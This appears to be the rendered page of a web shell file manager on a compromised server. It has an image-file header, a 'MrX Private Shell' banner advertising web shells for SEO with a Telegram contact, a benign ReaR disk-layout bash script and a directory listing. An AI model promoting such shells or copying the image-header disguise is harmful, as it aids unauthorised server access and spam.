����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# Disable excluded components in var/lib/rear/layout/disklayout.conf
# Excluded components have been marked as 'done ...' in var/lib/rear/layout/disktodo.conf
test -s "$LAYOUT_TODO" || return 0
# Below there is a (perhaps oversophisticated?) distinction what messages should appear
# - only in the log file in debug '-d' mode via 'Debug'
# - in the log file and on the user's terminal in debug '-d' mode via 'DebugPrint'
# - in the log file and on the user's terminal in verbose '-v' mode via 'LogPrint'
# so that the info that is shown on the user's terminal (hopefully) looks consistent.
# This distinction matches the same kind of distinction in the
# mark_as_done and mark_tree_as_done functions in lib/layout-functions.sh
DebugPrint "Disabling excluded components in $LAYOUT_FILE"
# Disable component $1 $2 in disklayout.conf
# where $1 is the component keyword/type that is always at the first position
# and the component value/name $2 is at the second position:
disable_component_at_second_position() {
# The trailing blank in "... $2 " is crucial to not match wrong components
# for example the component "part /dev/sda1" must not match accidentally
# other components like "part /dev/sda12" in var/lib/rear/layout/disklayout.conf
if grep -q "#$1 $2 " $LAYOUT_FILE ; then
DebugPrint "Component '$1 $2' is disabled in $LAYOUT_FILE"
return 0
fi
if ! grep -q "^$1 $2 " $LAYOUT_FILE ; then
Debug "Cannot disable component because there is no '^$1 $2 ' in $LAYOUT_FILE"
return 1
fi
LogPrint "Disabling component '$1 $2' in $LAYOUT_FILE"
sed -i "s|^$1 $2 |\#$1 $2 |" "$LAYOUT_FILE"
}
# Disable component $1 ... $2 in disklayout.conf
# where $1 is the component keyword/type that is always at the first position
# and the component value/name $2 is at the third position:
disable_component_at_third_position() {
# The trailing blank in "... $2 " is crucial to not match wrong components
# for example the component "part /dev/sda1" must not match accidentally
# other components like "part /dev/sda12" in var/lib/rear/layout/disklayout.conf
if grep -q "#$1 [^ ][^ ]* $2 " $LAYOUT_FILE ; then
DebugPrint "Component '$1 ... $2' is disabled in $LAYOUT_FILE"
return 0
fi
if ! grep -q "^$1 [^ ][^ ]* $2 " $LAYOUT_FILE ; then
Debug "Cannot disable component because there is no '^$1 ... $2 ' in $LAYOUT_FILE"
return 1
fi
LogPrint "Disabling component '$1 ... $2' in $LAYOUT_FILE"
sed -i -r "s|^$1 ([^ ]+) $2 |\#$1 \1 $2 |" "$LAYOUT_FILE"
}
# In disktodo.conf the component status ('todo'/'done') is always at the first position
# and the component value/name is always at the second position
# and the component keyword/type is always at the third position:
while read status name type junk ; do
case "$type" in
(part)
# find the immediate parent
name=$( grep "^$name " "$LAYOUT_DEPS" | cut -d " " -f 2 )
disable_component_at_second_position "$type" "$name"
;;
(lvmvol)
name=${name#/dev/mapper/}
# split between vg and lv is single dash
# Device mapper doubles dashes in vg and lv
vg=$( sed "s/\([^-]\)-[^-].*/\1/;s/--/-/g" <<< "$name" )
lv=$( sed "s/.*[^-]-\([^-]\)/\1/;s/--/-/g" <<< "$name" )
sed -i -r "s|^($type /dev/$vg $lv )|\#\1|" "$LAYOUT_FILE"
;;
(fs|btrfsmountedsubvol|lvmdev)
name=${name#$type:}
disable_component_at_third_position "$type" "$name"
;;
(opaldisk)
name=${name#$type:}
disable_component_at_second_position "$type" "$name"
;;
(swap)
name=${name#swap:}
disable_component_at_second_position "$type" "$name"
;;
(*)
disable_component_at_second_position "$type" "$name"
;;
esac
done < <( grep "^done" "$LAYOUT_TODO" )
# Disable all LVM PVs of excluded VGs:
while read status name junk ; do
disable_component_at_second_position "lvmdev" "$name"
done < <( grep -E "^done [^ ]+ lvmgrp" "$LAYOUT_TODO" )
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| 300_list_dependencies.sh | File | 103 B | 0644 |
|
| 310_autoexclude_usb.sh | File | 1.61 KB | 0644 |
|
| 310_include_exclude.sh | File | 2.21 KB | 0644 |
|
| 320_autoexclude.sh | File | 5.05 KB | 0644 |
|
| 330_remove_exclusions.sh | File | 4.08 KB | 0644 |
|
| 335_remove_excluded_multipath_vgs.sh | File | 2.23 KB | 0644 |
|
| 340_generate_mountpoint_device.sh | File | 1.21 KB | 0644 |
|
| 350_save_partitions.sh | File | 1.43 KB | 0644 |
|
| 445_guess_bootloader.sh | File | 6.94 KB | 0644 |
|
| 450_check_bootloader_files.sh | File | 1.96 KB | 0644 |
|
| 450_check_network_files.sh | File | 879 B | 0644 |
|
| 490_check_files_to_patch.sh | File | 2.19 KB | 0644 |
|
| 550_barrel_devicegraph.sh | File | 3.66 KB | 0644 |
|
| 600_snapshot_files.sh | File | 428 B | 0644 |
|
| 950_verify_disklayout_file.sh | File | 16.57 KB | 0644 |
|